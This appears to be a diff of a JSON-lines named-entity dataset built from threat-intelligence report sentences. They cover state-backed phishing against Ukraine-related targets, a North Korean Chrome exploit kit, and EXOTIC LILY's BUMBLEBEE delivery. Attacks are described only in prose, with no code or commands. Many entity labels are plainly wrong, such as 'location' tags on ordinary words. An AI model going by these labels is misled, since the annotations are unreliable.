 {"id":5983,"text":"This campaign, targeting high risk individuals in Ukraine, contained links leading to compromised websites where the first stage phishing page was hosted.","entities":[{"id":18414,"label":"location","start_offset":5,"end_offset":13},{"id":18417,"label":"attack-pattern","start_offset":129,"end_offset":137},{"id":18418,"label":"location","start_offset":138,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":5984,"text":"If the user clicked continue, they would be redirected to an attacker controlled site that collected the users credentials.","entities":[],"relations":[],"Comments":[]}
-{"id":5985,"text":"There were no accounts compromised from this campaign and Google will alert all targeted users of these attempts through our monthly government-backed attacker warnings.","entities":[{"id":18419,"label":"location","start_offset":45,"end_offset":53},{"id":18420,"label":"location","start_offset":54,"end_offset":57},{"id":18422,"label":"location","start_offset":65,"end_offset":69},{"id":18423,"label":"location","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":5986,"text":"Both pages from this campaign are shown below.","entities":[{"id":18425,"label":"location","start_offset":21,"end_offset":29},{"id":18426,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":5987,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":18430,"label":"attack-pattern","start_offset":52,"end_offset":60},{"id":18431,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":5988,"text":"The targets, primarily located in Lithuania, were sent links to attacker controlled domains from a domain spoofing the Facebook security team.","entities":[{"id":18435,"label":"location","start_offset":128,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":5989,"text":"Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.","entities":[{"id":18436,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":18437,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":18438,"label":"location","start_offset":58,"end_offset":61},{"id":18443,"label":"location","start_offset":188,"end_offset":191},{"id":18446,"label":"location","start_offset":239,"end_offset":242}],"relations":[],"Comments":[]}
-{"id":5990,"text":"In Russia, long running campaigns against multiple government organizations have continued, including the Ministry of Foreign Affairs.","entities":[{"id":18449,"label":"location","start_offset":11,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":5991,"text":"Over the past week, TAG identified additional compromises impacting multiple Russian defense contractors and manufacturers and a Russian logistics company.","entities":[{"id":18454,"label":"location","start_offset":105,"end_offset":108},{"id":18455,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":5992,"text":" Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":18457,"label":"location","start_offset":41,"end_offset":44},{"id":18458,"label":"threat-actor","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":5993,"text":"We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":18460,"label":"location","start_offset":32,"end_offset":35},{"id":18461,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":5994,"text":"We encourage any potential targets to enable Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.","entities":[{"id":18462,"label":"location","start_offset":75,"end_offset":79},{"id":18463,"label":"location","start_offset":89,"end_offset":92},{"id":18464,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":5995,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":18465,"label":"tools","start_offset":61,"end_offset":67},{"id":18466,"label":"location","start_offset":68,"end_offset":71},{"id":18467,"label":"location","start_offset":72,"end_offset":80},{"id":18468,"label":"location","start_offset":94,"end_offset":97},{"id":18469,"label":"location","start_offset":122,"end_offset":126},{"id":18470,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":5996,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[{"id":18471,"label":"location","start_offset":23,"end_offset":29},{"id":18472,"label":"location","start_offset":51,"end_offset":54},{"id":18473,"label":"location","start_offset":101,"end_offset":109},{"id":18474,"label":"location","start_offset":110,"end_offset":113},{"id":18475,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":5997,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":18476,"label":"location","start_offset":9,"end_offset":12},{"id":18478,"label":"location","start_offset":61,"end_offset":64},{"id":18480,"label":"identity","start_offset":91,"end_offset":95},{"id":18481,"label":"location","start_offset":223,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":5998,"text":"In early March, Google’s Threat Analysis Group (TAG) published an update on the cyber activity it was tracking with regard to the war in Ukraine.","entities":[{"id":18486,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
 {"id":5999,"text":"Since our last update, TAG has observed a continuously growing number of threat actors using the war as a lure in phishing and malware campaigns.","entities":[{"id":18489,"label":"location","start_offset":97,"end_offset":100},{"id":18490,"label":"location","start_offset":106,"end_offset":110},{"id":18491,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":18492,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":6000,"text":"Government-backed actors from China, Iran, North Korea and Russia, as well as various unattributed groups, have used various Ukraine war-related themes in an effort to get targets to open malicious emails or click malicious links.","entities":[{"id":18496,"label":"location","start_offset":55,"end_offset":58},{"id":18499,"label":"location","start_offset":133,"end_offset":136},{"id":18500,"label":"location","start_offset":158,"end_offset":164}],"relations":[],"Comments":[]}
-{"id":6001,"text":"Financially motivated and criminal actors are also using current events as a means for targeting users.","entities":[{"id":18501,"label":"location","start_offset":22,"end_offset":25},{"id":18502,"label":"location","start_offset":42,"end_offset":45},{"id":18503,"label":"location","start_offset":77,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":6002,"text":"For example, one actor is impersonating military personnel to extort money for rescuing relatives in Ukraine.","entities":[{"id":18505,"label":"location","start_offset":69,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":6003,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[],"relations":[],"Comments":[]}
 {"id":6004,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
-{"id":6005,"text":"We promptly identify and remove any such content, but have not observed any significant shifts from the normal levels of activity that occur in the region.","entities":[{"id":18509,"label":"location","start_offset":21,"end_offset":24},{"id":18510,"label":"location","start_offset":41,"end_offset":48},{"id":18511,"label":"location","start_offset":104,"end_offset":110},{"id":18512,"label":"location","start_offset":111,"end_offset":117},{"id":18513,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":6006,"text":"Here is a deeper look at the campaign activity TAG has observed over the past two weeks: Curious Gorge, a group TAG attributes to China's PLA SSF, has conducted campaigns against government and military organizations in Ukraine, Russia, Kazakhstan, and Mongolia.","entities":[{"id":18514,"label":"location","start_offset":29,"end_offset":37},{"id":18521,"label":"location","start_offset":190,"end_offset":193},{"id":18525,"label":"location","start_offset":249,"end_offset":252}],"relations":[],"Comments":[]}
-{"id":6007,"text":"While this activity largely does not impact Google products, we remain engaged and are providing notifications to victim organizations.","entities":[{"id":18527,"label":"location","start_offset":37,"end_offset":43},{"id":18529,"label":"location","start_offset":79,"end_offset":82},{"id":18530,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":6008,"text":"Recently observed IPs used in Curious Gorge campaigns: COLDRIVER, a Russian-based threat actor sometimes referred to as Calisto, has launched credential phishing campaigns, targeting several US based NGOs and think tanks, the military of a Balkans country, and a Ukraine based defense contractor.","entities":[{"id":18535,"label":"attack-pattern","start_offset":153,"end_offset":161},{"id":18537,"label":"location","start_offset":205,"end_offset":208},{"id":18539,"label":"location","start_offset":257,"end_offset":260}],"relations":[],"Comments":[]}
-{"id":6009,"text":"However, for the first time, TAG has observed COLDRIVER campaigns targeting the military of multiple Eastern European countries, as well as a NATO Centre of Excellence.","entities":[{"id":18542,"label":"location","start_offset":23,"end_offset":27},{"id":18546,"label":"location","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":6010,"text":"These campaigns were sent using newly created Gmail accounts to non-Google accounts, so the success rate of these campaigns is unknown.","entities":[{"id":18549,"label":"location","start_offset":92,"end_offset":99}],"relations":[],"Comments":[]}
 {"id":6011,"text":"We have not observed any Gmail accounts successfully compromised during these campaigns.","entities":[],"relations":[],"Comments":[]}
 {"id":6012,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, recently introduced a new capability into their credential phishing campaigns.","entities":[{"id":18551,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":18552,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":18553,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":18555,"label":"attack-pattern","start_offset":156,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":6013,"text":"In mid-March, a security researcher released a blog post detailing a 'Browser in the Browser' phishing technique.","entities":[{"id":18557,"label":"location","start_offset":16,"end_offset":24},{"id":18558,"label":"location","start_offset":52,"end_offset":56},{"id":18559,"label":"attack-pattern","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
 {"id":6014,"text":"While TAG has previously observed this technique being used by multiple government-backed actors, the media picked up on this blog post, publishing several stories highlighting this phishing capability.","entities":[{"id":18560,"label":"location","start_offset":102,"end_offset":107},{"id":18561,"label":"location","start_offset":131,"end_offset":135},{"id":18562,"label":"attack-pattern","start_offset":182,"end_offset":190}],"relations":[],"Comments":[]}
 {"id":6015,"text":"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.","entities":[{"id":18563,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":18564,"label":"attack-pattern","start_offset":130,"end_offset":138},{"id":18565,"label":"location","start_offset":139,"end_offset":146},{"id":18566,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]}
 {"id":6016,"text":"The new technique, displayed below, draws a login page that appears to be on the passport.i.ua domain, overtop of the page hosted on the compromised site.","entities":[{"id":18567,"label":"malware","start_offset":50,"end_offset":54},{"id":18569,"label":"location","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":6017,"text":"Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.","entities":[{"id":18570,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
 {"id":6018,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":18572,"label":"attack-pattern","start_offset":41,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":6019,"text":"The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.","entities":[{"id":18573,"label":"tools","start_offset":61,"end_offset":67},{"id":18574,"label":"location","start_offset":68,"end_offset":71},{"id":18575,"label":"location","start_offset":72,"end_offset":80},{"id":18576,"label":"location","start_offset":94,"end_offset":97},{"id":18577,"label":"location","start_offset":122,"end_offset":126},{"id":18578,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":6020,"text":"We’ll continue to take action, identify bad actors and share relevant information with others across industry and governments, with the goal of bringing awareness to these issues, protecting users and preventing future attacks.","entities":[{"id":18579,"label":"location","start_offset":23,"end_offset":29},{"id":18580,"label":"location","start_offset":51,"end_offset":54},{"id":18581,"label":"location","start_offset":101,"end_offset":109},{"id":18582,"label":"location","start_offset":110,"end_offset":113},{"id":18583,"label":"location","start_offset":197,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":6021,"text":"While we are actively monitoring activity related to Ukraine and Russia, we continue to be just as vigilant in relation to other threat actors globally, to ensure that they do not take advantage of everyone’s focus on this region.","entities":[{"id":18584,"label":"location","start_offset":9,"end_offset":12},{"id":18586,"label":"location","start_offset":61,"end_offset":64},{"id":18588,"label":"identity","start_offset":91,"end_offset":95},{"id":18589,"label":"location","start_offset":223,"end_offset":229}],"relations":[],"Comments":[]}
-{"id":6022,"text":"On February 10, Threat Analysis Group discovered two distinct North Korean government-backed attacker groups exploiting a remote code execution vulnerability in Chrome, CVE-2022-0609.","entities":[{"id":18594,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":6023,"text":"These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.","entities":[{"id":18597,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":6024,"text":"We observed the campaigns targeting U.S. based organizations spanning news media, IT, cryptocurrency and fintech industries.","entities":[{"id":18600,"label":"location","start_offset":75,"end_offset":80},{"id":18601,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":6025,"text":"However, other organizations and countries may have been targeted.","entities":[{"id":18602,"label":"location","start_offset":29,"end_offset":32},{"id":18603,"label":"location","start_offset":43,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":6026,"text":"One of the campaigns has direct infrastructure overlap with a campaign targeting security researchers which we reported on last year.","entities":[{"id":18605,"label":"location","start_offset":62,"end_offset":70},{"id":18606,"label":"location","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":6027,"text":"The exploit was patched on February 14, 2022.","entities":[],"relations":[],"Comments":[]}
 {"id":6028,"text":"The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.","entities":[],"relations":[],"Comments":[]}
-{"id":6029,"text":"We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.","entities":[{"id":18610,"label":"location","start_offset":42,"end_offset":46},{"id":18611,"label":"location","start_offset":68,"end_offset":74},{"id":18612,"label":"location","start_offset":103,"end_offset":107},{"id":18613,"label":"location","start_offset":155,"end_offset":162},{"id":18614,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":6030,"text":"It is possible that other North Korean government-backed attackers have access to the same exploit kit.","entities":[{"id":18616,"label":"location","start_offset":86,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":6031,"text":"In this blog, we will walk through the observed tactics, techniques and procedures, share relevant IOCs and analyze the exploit kit used by the attackers.","entities":[{"id":18617,"label":"location","start_offset":17,"end_offset":21},{"id":18618,"label":"location","start_offset":68,"end_offset":71},{"id":18619,"label":"location","start_offset":104,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":6032,"text":"In line with our current disclosure policy, we are providing these details 30 days after the patch release.","entities":[{"id":18620,"label":"location","start_offset":47,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":6033,"text":"The campaign, consistent with Operation Dream Job, targeted over 250 individuals working for 10 different news media, domain registrars, web hosting providers and software vendors.","entities":[{"id":18622,"label":"location","start_offset":4,"end_offset":12},{"id":18626,"label":"location","start_offset":111,"end_offset":116},{"id":18627,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":6034,"text":"The targets received emails claiming to come from recruiters at Disney, Google and Oracle with fake potential job opportunities.","entities":[{"id":18630,"label":"location","start_offset":79,"end_offset":82},{"id":18632,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":6035,"text":"The emails contained links spoofing legitimate job hunting websites like Indeed and ZipRecruiter.","entities":[{"id":18633,"label":"location","start_offset":47,"end_offset":50},{"id":18634,"label":"location","start_offset":51,"end_offset":58},{"id":18636,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
 {"id":6036,"text":"Victims who clicked on the links would be served a hidden iframe that would trigger the exploit kit.","entities":[],"relations":[],"Comments":[]}
-{"id":6037,"text":"Attacker-Owned Fake Job Domains: Exploitation URLs:","entities":[{"id":18638,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":6038,"text":"Another North Korean group, whose activity has been publicly tracked as Operation AppleJeus, targeted over 85 users in cryptocurrency and fintech industries leveraging the same exploit kit.","entities":[{"id":18642,"label":"location","start_offset":134,"end_offset":137},{"id":18643,"label":"location","start_offset":172,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":6039,"text":"This included compromising at least two legitimate fintech company websites and hosting hidden iframes to serve the exploit kit to visitors.","entities":[{"id":18645,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":6040,"text":"In other cases, we observed fake websites — already set up to distribute trojanized cryptocurrency applications — hosting iframes and pointing their visitors to the exploit kit.","entities":[{"id":18646,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
 {"id":6041,"text":"Attacker-Owned Websites: Compromised Websites (Feb 7 - Feb 9): Exploitation URLs:","entities":[],"relations":[],"Comments":[]}
-{"id":6042,"text":"The attackers made use of an exploit kit that contained multiple stages and components in order to exploit targeted users.","entities":[{"id":18648,"label":"location","start_offset":14,"end_offset":18},{"id":18649,"label":"location","start_offset":72,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":6043,"text":"The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.","entities":[],"relations":[],"Comments":[]}
-{"id":6044,"text":"The kit initially serves some heavily obfuscated javascript used to fingerprint the target system.","entities":[{"id":18650,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":6045,"text":"This script collected all available client information such as the user-agent, resolution, etc. and then sent it back to the exploitation server.","entities":[{"id":18651,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":6046,"text":"If a set of unknown requirements were met, the client would be served a Chrome RCE exploit and some additional javascript.","entities":[{"id":18652,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":6047,"text":"If the RCE was successful, the javascript would request the next stage referenced within the script as “SBX”, a common acronym for Sandbox Escape.","entities":[{"id":18653,"label":"malware","start_offset":119,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":6048,"text":"We unfortunately were unable to recover any of the stages that followed the initial RCE.","entities":[],"relations":[],"Comments":[]}
-{"id":6049,"text":"Careful to protect their exploits, the attackers deployed multiple safeguards to make it difficult for security teams to recover any of the stages.","entities":[{"id":18655,"label":"location","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":6050,"text":"These safeguards included: Although we recovered a Chrome RCE, we also found evidence where the attackers specifically checked for visitors using Safari on MacOS or Firefox (on any OS), and directed them to specific links on known exploitation servers.","entities":[{"id":18656,"label":"location","start_offset":186,"end_offset":189},{"id":18657,"label":"location","start_offset":199,"end_offset":203}],"relations":[],"Comments":[]}
 {"id":6051,"text":"We did not recover any responses from those URLs.","entities":[],"relations":[],"Comments":[]}
 {"id":6052,"text":"Example Exploit Kit:","entities":[],"relations":[],"Comments":[]}
-{"id":6053,"text":"The attackers made multiple attempts to use the exploit days after the vulnerability was patched on February 14, which stresses the importance of applying security updates as they become available.","entities":[{"id":18658,"label":"location","start_offset":14,"end_offset":18},{"id":18661,"label":"location","start_offset":155,"end_offset":163}],"relations":[],"Comments":[]}
 {"id":6054,"text":"As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.","entities":[{"id":18662,"label":"tools","start_offset":102,"end_offset":108},{"id":18663,"label":"location","start_offset":109,"end_offset":112},{"id":18664,"label":"location","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":6055,"text":"Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":18665,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":6056,"text":"We also sent all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":18668,"label":"location","start_offset":32,"end_offset":35},{"id":18669,"label":"location","start_offset":96,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":6057,"text":"We encourage any potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated.","entities":[{"id":18670,"label":"location","start_offset":54,"end_offset":58},{"id":18671,"label":"location","start_offset":79,"end_offset":82},{"id":18672,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":6058,"text":"TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted or suffered from these activities.","entities":[{"id":18674,"label":"location","start_offset":46,"end_offset":49},{"id":18675,"label":"location","start_offset":80,"end_offset":88},{"id":18676,"label":"location","start_offset":89,"end_offset":98},{"id":18677,"label":"location","start_offset":100,"end_offset":103},{"id":18678,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":6059,"text":"We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.","entities":[{"id":18679,"label":"location","start_offset":3,"end_offset":7},{"id":18680,"label":"location","start_offset":51,"end_offset":54},{"id":18681,"label":"location","start_offset":66,"end_offset":70},{"id":18682,"label":"location","start_offset":86,"end_offset":93},{"id":18683,"label":"location","start_offset":105,"end_offset":108},{"id":18684,"label":"threat-actor","start_offset":109,"end_offset":113},{"id":18685,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":6060,"text":"In early September 2021, Threat Analysis Group (TAG) observed a financially motivated threat actor we refer to as EXOTIC LILY, exploiting a 0day in Microsoft MSHTML (CVE-2021-40444).","entities":[{"id":18689,"label":"threat-actor","start_offset":114,"end_offset":125},{"id":18691,"label":"location","start_offset":175,"end_offset":180}],"relations":[],"Comments":[]}
 {"id":6061,"text":"Investigating this group's activity, we determined they are an Initial Access Broker (IAB) who appear to be working with the Russian cyber crime gang known as FIN12 (Mandiant, FireEye) \/ WIZARD SPIDER (CrowdStrike).","entities":[{"id":18692,"label":"location","start_offset":56,"end_offset":59},{"id":18697,"label":"threat-actor","start_offset":187,"end_offset":200},{"id":18698,"label":"identity","start_offset":202,"end_offset":213}],"relations":[],"Comments":[]}
-{"id":6062,"text":"Initial access brokers are the opportunistic locksmiths of the security world, and it’s a full-time job.","entities":[{"id":18699,"label":"location","start_offset":23,"end_offset":26},{"id":18700,"label":"location","start_offset":63,"end_offset":71},{"id":18701,"label":"location","start_offset":72,"end_offset":77},{"id":18702,"label":"location","start_offset":79,"end_offset":82},{"id":18703,"label":"location","start_offset":95,"end_offset":99},{"id":18704,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":6063,"text":"These groups specialize in breaching a target in order to open the doors—or the Windows—to the malicious actor with the highest bid.","entities":[{"id":18705,"label":"location","start_offset":39,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":6064,"text":"EXOTIC LILY is a resourceful, financially motivated group whose activities appear to be closely linked with data exfiltration and deployment of human-operated ransomware such as Conti and Diavol.","entities":[{"id":18707,"label":"location","start_offset":126,"end_offset":129},{"id":18708,"label":"threat-actor","start_offset":178,"end_offset":183},{"id":18709,"label":"location","start_offset":184,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":6065,"text":"At the peak of EXOTIC LILY’s activity, we estimate they were sending more than 5,000 emails a day, to as many as 650 targeted organizations globally.","entities":[{"id":18711,"label":"location","start_offset":7,"end_offset":11},{"id":18714,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":6066,"text":"Up until November 2021, the group seemed to be targeting specific industries such as IT, cybersecurity and healthcare, but as of late we have seen them attacking a wide variety of organizations and industries, with less specific focus.","entities":[{"id":18717,"label":"location","start_offset":103,"end_offset":106},{"id":18718,"label":"location","start_offset":147,"end_offset":151},{"id":18719,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
-{"id":6067,"text":"We have observed this threat actor deploying tactics, techniques and procedures (TTPs) that are traditionally associated with more targeted attacks, like spoofing companies and employees as a means of gaining trust of a targeted organization through email campaigns that are believed to be sent by real human operators using little-to-no automation.","entities":[{"id":18720,"label":"location","start_offset":65,"end_offset":68},{"id":18721,"label":"location","start_offset":92,"end_offset":95},{"id":18722,"label":"location","start_offset":173,"end_offset":176},{"id":18723,"label":"location","start_offset":192,"end_offset":197},{"id":18724,"label":"location","start_offset":209,"end_offset":214},{"id":18725,"label":"location","start_offset":271,"end_offset":274},{"id":18726,"label":"location","start_offset":298,"end_offset":302},{"id":18727,"label":"location","start_offset":325,"end_offset":331}],"relations":[],"Comments":[]}
 {"id":6068,"text":"Additionally and rather uniquely, they leverage legitimate file-sharing services like WeTransfer, TransferNow and OneDrive to deliver the payload, further evading detection mechanisms.","entities":[{"id":18728,"label":"location","start_offset":13,"end_offset":16},{"id":18729,"label":"malware","start_offset":39,"end_offset":47},{"id":18732,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":6069,"text":"This level of human-interaction is rather unusual for cyber crime groups focused on mass scale operations.","entities":[],"relations":[],"Comments":[]}
 {"id":6070,"text":"EXOTIC LILY’s attack chain has remained relatively consistent throughout the time we’ve been tracking the group: One notable technique is the use of domain and identity spoofing as a way of gaining additional credibility with a targeted organization.","entities":[{"id":18735,"label":"location","start_offset":77,"end_offset":81},{"id":18737,"label":"location","start_offset":156,"end_offset":159},{"id":18738,"label":"attack-pattern","start_offset":160,"end_offset":177},{"id":18739,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
-{"id":6071,"text":"In the majority of cases, a spoofed domain name was identical to a real domain name of an existing organization, with the only difference being a change of TLD to “.us”, “.co” or “.biz”.","entities":[{"id":18740,"label":"location","start_offset":67,"end_offset":71},{"id":18741,"label":"location","start_offset":122,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":6072,"text":"Initially, the group would create entirely fake personas posing as employees of a real company.","entities":[{"id":18742,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":6073,"text":"That would sometimes consist of creating social media profiles, personal websites and generating a fake profile picture using a public service to create an AI-generated human face.","entities":[{"id":18743,"label":"location","start_offset":48,"end_offset":53},{"id":18744,"label":"location","start_offset":82,"end_offset":85},{"id":18745,"label":"location","start_offset":128,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":6074,"text":"In November 2021, the group began to impersonate real company employees by copying their personal data from social media and business databases such as RocketReach and CrunchBase.","entities":[{"id":18747,"label":"location","start_offset":49,"end_offset":53},{"id":18748,"label":"location","start_offset":115,"end_offset":120},{"id":18749,"label":"location","start_offset":121,"end_offset":124},{"id":18751,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
 {"id":6075,"text":"Using spoofed email accounts, attackers would then send spear phishing emails under the pretext of a business proposal, such as seeking to outsource a software development project or an information security service.","entities":[{"id":18753,"label":"attack-pattern","start_offset":56,"end_offset":70},{"id":18754,"label":"location","start_offset":198,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":6076,"text":"Attackers would sometimes engage in further communication with the target by attempting to schedule a meeting to discuss the project's design or requirements.","entities":[{"id":18755,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":6077,"text":"At the final stage, the attacker would upload the payload to a public file-sharing service (TransferNow, TransferXL, WeTransfer or OneDrive) and then use a built-in email notification feature to share the file with the target, allowing the final email to originate from the email address of a legitimate file-sharing service and not the attacker’s email, which presents additional detection challenges.","entities":[{"id":18756,"label":"location","start_offset":63,"end_offset":69},{"id":18761,"label":"location","start_offset":141,"end_offset":144},{"id":18762,"label":"location","start_offset":219,"end_offset":225},{"id":18763,"label":"location","start_offset":325,"end_offset":328}],"relations":[],"Comments":[]}
-{"id":6078,"text":"Further evidence suggests an operator’s responsibilities might include: A breakdown of the actor’s communication activity shows the operators are working a fairly typical 9-to-5 job, with very little activity during the weekends.","entities":[{"id":18764,"label":"location","start_offset":142,"end_offset":145},{"id":18765,"label":"location","start_offset":178,"end_offset":181},{"id":18766,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]}
 {"id":6079,"text":"Distribution of the actor’s working hours suggest they might be working from a Central or an Eastern Europe timezone.","entities":[],"relations":[],"Comments":[]}
-{"id":6080,"text":"Although the group came to our attention initially due to its use of documents containing an exploit for CVE-2021-40444, they later switched to the delivery of ISO files with hidden BazarLoader DLLs and LNK shortcuts.","entities":[{"id":18770,"label":"location","start_offset":114,"end_offset":119},{"id":18771,"label":"location","start_offset":199,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":6081,"text":"These samples have some indicators that suggest they were custom-built to be used by the group.","entities":[],"relations":[],"Comments":[]}
-{"id":6082,"text":"For example, metadata embedded in the LNK shortcuts shows that a number of fields, such as the “Machine Identifier” and “Drive Serial Number” were shared with BazarLoader ISOs distributed via other means, however other fields such as the command line arguments were unique for samples distributed by EXOTIC LILY.","entities":[{"id":18772,"label":"location","start_offset":75,"end_offset":81},{"id":18773,"label":"location","start_offset":116,"end_offset":119},{"id":18774,"label":"location","start_offset":198,"end_offset":203},{"id":18775,"label":"location","start_offset":219,"end_offset":225}],"relations":[],"Comments":[]}
-{"id":6083,"text":"In March, the group continued delivering ISO files, but with a DLL containing a custom loader which is a more advanced variant of a first-stage payload previously seen during CVE-2021-40444 exploitation.","entities":[{"id":18779,"label":"location","start_offset":184,"end_offset":189}],"relations":[],"Comments":[]}
 {"id":6084,"text":"The loader can be recognized by its use of a unique user-agent “bumblebee” which both variants share.","entities":[{"id":18780,"label":"location","start_offset":11,"end_offset":14},{"id":18781,"label":"malware","start_offset":64,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":6085,"text":"The malware, hence dubbed BUMBLEBEE, uses WMI to collect various system details such as OS version, user name and domain name, which are then exfiltrated in JSON format to a C2.","entities":[{"id":18782,"label":"malware","start_offset":26,"end_offset":35},{"id":18783,"label":"location","start_offset":110,"end_offset":113},{"id":18784,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
